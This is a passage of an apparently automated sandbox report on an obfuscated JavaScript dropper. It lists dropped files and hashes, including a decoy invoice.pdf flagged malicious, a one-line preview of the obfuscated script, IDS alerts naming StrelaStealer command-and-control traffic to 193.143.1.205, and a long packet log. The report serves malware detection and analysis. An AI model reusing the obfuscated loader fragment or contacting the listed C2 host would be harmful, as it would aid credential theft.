SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18408), with CRLF line terminators
Entropy (8bit):	4.9185696516372355
TrID:
File name:	260622981189829640.js
File size:	21'859 bytes
MD5:	bd1d3bc36d512e0171ecd883753914d6
SHA1:	e22bbbe79cba9be8efea9b6dba259fbd8a7f9351
SHA256:	0b16dc8ce720dab6fa23bf0c87cee6004d31f0e043bbfa77a2864d14b5c76119
SHA512:	a88f4e9ecbcb312c2d5fea1decdb185c70bce16ca36c9434ab7012c55263c2cdfeed11cedecb9219cf888206530d9b3e3885f12caa626b60751d98ab5ffafdfc
SSDEEP:	384:eYW1dBWfP9EDFKx+bOHK3dMRoVsLJEW3MtbyX8DQ8qMZH4rcc4X9MYMRJ98JBH7w:ha94x+bOHK3dMRoVsLJEW3MtbyX8DQ8a
TLSH:	82A216616C07C71A4FC29AF9197E28F80369F28E8630175F6796649345B36F088F71FA
File Content Preview:	function hnpimxbog(){ymhyvolnf=[1031,3079,5127,4103,2055,3072];var jjsosp=this[xmucahh+knpxmtgoh+kcizb+qrvus+fexez+vwqdwud+aqsrrhmu+rvlvoz](this[enlyqnmm+xllfrjwx+rmazor+kcizb+hiwgcxafi+xmucahh+rvlvoz][pbhwyve+kcizb+fexez+knpxmtgoh+rvlvoz+fexez+eicwuclfw+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:53:18.475338+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T01:53:18.475338+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T01:53:21.524825+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:53:17.704088926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:17.709085941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:17.709196091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:17.712080956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:17.716984987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.475224018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.475253105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.475277901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.475334883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.475337982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.475342989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.475356102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.475366116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.475377083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.475395918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.475413084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.475435972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.475461006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.517486095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.517504930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.517529964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.517728090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.592405081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.592475891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.592489958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.592505932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.592516899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.592758894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.592868090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.592880011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.592896938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.592925072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.592947006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.593221903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.593245983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.593261003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.593287945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.593295097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.593307972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.593337059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.594115019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.594146013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.594161987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.594167948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.594177961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.594193935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.594203949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.594234943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.595077038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.604980946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.605077982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.634829044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.634846926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.634869099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.634881973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.634951115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.634979963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.680135965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.680156946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.680320978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.709784031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.709816933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.709836960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.709934950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710006952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710031986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710032940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.710045099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710059881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710072041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710073948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.710084915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710099936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.710129023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.710787058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710871935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710885048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710903883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710916996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.710918903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710937977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710947990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.710954905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.710998058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.711668968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.711721897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.711775064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.711790085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.711822033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.711833000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.711841106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.711847067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.711869001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.711891890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.712646008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.712668896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.712680101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.712691069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.712707043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.712717056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.712718964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.712733984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.712744951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.712764978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.713606119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.713618994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.713639021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.713648081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.713661909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.713670015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.713681936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.713695049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.713705063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.722239017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.722270012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.722292900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.722301960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.722312927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.722326994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.752109051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.752187967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.752209902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.752262115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.752302885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.752309084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.752357006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.752403021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.752405882 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.752451897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.752511978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.797419071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.797436953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.797455072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.797523022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.827085972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827178955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827203989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.827248096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827297926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.827303886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827372074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827420950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.827434063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827480078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827523947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.827527046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827574015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827617884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827620029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.827667952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827708006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.827881098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827929020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.827972889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.827974081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828021049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828063965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.828067064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828113079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828152895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.828269005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828331947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828371048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.828393936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828439951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828480959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.828485966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828535080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828573942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.828579903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828625917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828666925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.828670025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828717947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.828758001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.829062939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.829124928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.829185963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.829189062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.829232931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.829277039 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.829279900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.829327106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.829365969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.829372883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.829420090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.829457998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.829463959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.829509974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.829550982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.829555035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.829992056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.830053091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.830055952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.830115080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.830159903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.830163956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.830207109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.830250025 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.830254078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.830300093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.830338955 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.830343008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.830388069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.830432892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.830434084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.830481052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.830517054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.830562115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.831048965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.831094980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.831135988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.831140041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.831187010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.831226110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.831233025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.831278086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.831322908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.831346989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.831397057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.831439972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.831444025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.839777946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.839910984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.839921951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.839967966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840013981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840014935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.840075016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840116024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.840120077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840164900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840208054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.840212107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840250015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840301037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840307951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.840362072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840400934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.840408087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840456009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840495110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.840500116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840547085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.840584993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.855462074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.867794991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.884989977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.885046959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.885059118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.885077953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.885093927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.885108948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.885123014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.885169983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.885219097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.905308008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.914706945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.914793015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.914802074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.914843082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.914892912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.914901018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.914942980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.914987087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915004015 CET	49709	80	192.168.2.6	193.143.1.205
